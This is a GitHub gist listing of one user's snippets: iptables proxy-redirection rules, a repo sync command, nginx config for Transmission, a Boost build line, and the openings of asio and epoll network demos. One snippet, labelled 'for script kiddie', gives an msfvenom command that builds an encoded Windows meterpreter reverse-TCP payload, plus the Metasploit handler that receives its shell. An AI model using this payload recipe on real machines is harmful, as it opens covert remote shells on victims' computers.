Skip to content

Instantly share code, notes, and snippets.

View celeron633's full-sized avatar
👻
defunct

celeron633 celeron633

👻
defunct
View GitHub Profile
@celeron633
celeron633 / iptables.sh
Last active December 26, 2020 08:42
proxy all tcp traffic to a socks5t server use iptables and redsocks
iptables -t nat -N REDSOCKS
iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN
iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN
iptables -t nat -A REDSOCKS -d 100.64.0.0/10 -j RETURN
iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN
iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN
iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN
iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN
iptables -t nat -A REDSOCKS -d 198.18.0.0/15 -j RETURN
iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN
@celeron633
celeron633 / iptables.sh
Last active December 13, 2020 09:23
proxy all tcp and udp traffic via ss-redir
#TCP
iptables -t nat -N SHADOWSOCKS_TCP
iptables -t nat -A SHADOWSOCKS_TCP -d 123.456.789.111/32 -j RETURN
iptables -t nat -A SHADOWSOCKS_TCP -d 0.0.0.0/8 -j RETURN
iptables -t nat -A SHADOWSOCKS_TCP -d 10.0.0.0/8 -j RETURN
iptables -t nat -A SHADOWSOCKS_TCP -d 127.0.0.0/8 -j RETURN
iptables -t nat -A SHADOWSOCKS_TCP -d 169.254.0.0/16 -j RETURN
iptables -t nat -A SHADOWSOCKS_TCP -d 172.16.0.0/12 -j RETURN
iptables -t nat -A SHADOWSOCKS_TCP -d 192.168.0.0/16 -j RETURN
iptables -t nat -A SHADOWSOCKS_TCP -d 224.0.0.0/4 -j RETURN
@celeron633
celeron633 / repo.sh
Last active December 13, 2020 09:24
my repo command for linageos repo sync
repo sync -c -j8 --force-sync --no-clone-bundle --no-tags
@celeron633
celeron633 / msfvenom.sh
Last active December 13, 2020 09:22
powerful msfvenom payload generator for script kiddie
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' lhost=192.168.199.233 lport=2333 prependmigrate=true prepenmigrateprocess=explorer.exe -f c
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.199.233
set lport 2333
prependmigrate=true
prepenmigrateprocess=explorer.exe
@celeron633
celeron633 / reinstall.md
Last active April 16, 2021 05:02
tencent cloud reinstall pure ubuntu
@celeron633
celeron633 / nginx_location.txt
Last active November 22, 2020 01:17
nginx configuration for transmission web and rpc intf
location / {
proxy_pass http://127.0.0.1:9091;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_set_header X-NginX-Proxy true;
proxy_http_version 1.1;
proxy_set_header Connection “”;
proxy_pass_header X-Transmission-Session-Id;
add_header Front-End-Https on;
@celeron633
celeron633 / boost_build.bat
Last active December 13, 2020 09:20
build boost with msvc 2019 14.2
b2.exe --toolset=msvc-14.2 architecture=x86 address-model=32 link=static --build-type=complete --with-system --with-thread --with-date_time --with-filesystem --with-serialization --with-regex
@celeron633
celeron633 / asio_client.cpp
Last active January 3, 2021 08:24
boost::asio async tcp client demo
#include <iostream>
#include <boost/asio.hpp>
#include <boost/bind.hpp>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <boost/shared_ptr.hpp>
#include <boost/thread.hpp>
using namespace std;
@celeron633
celeron633 / epoll_pipe.c
Created January 3, 2021 08:20
simple epoll demo using pipe
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/epoll.h>
#include <unistd.h>
#define MAX_EPOLL_EVENTS 10
#define MAX_BUF_SIZE 10
@celeron633
celeron633 / epoll_client.c
Last active August 29, 2021 09:02
simple epoll tcp server and client demo
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <string>
#include <iostream>
using namespace std;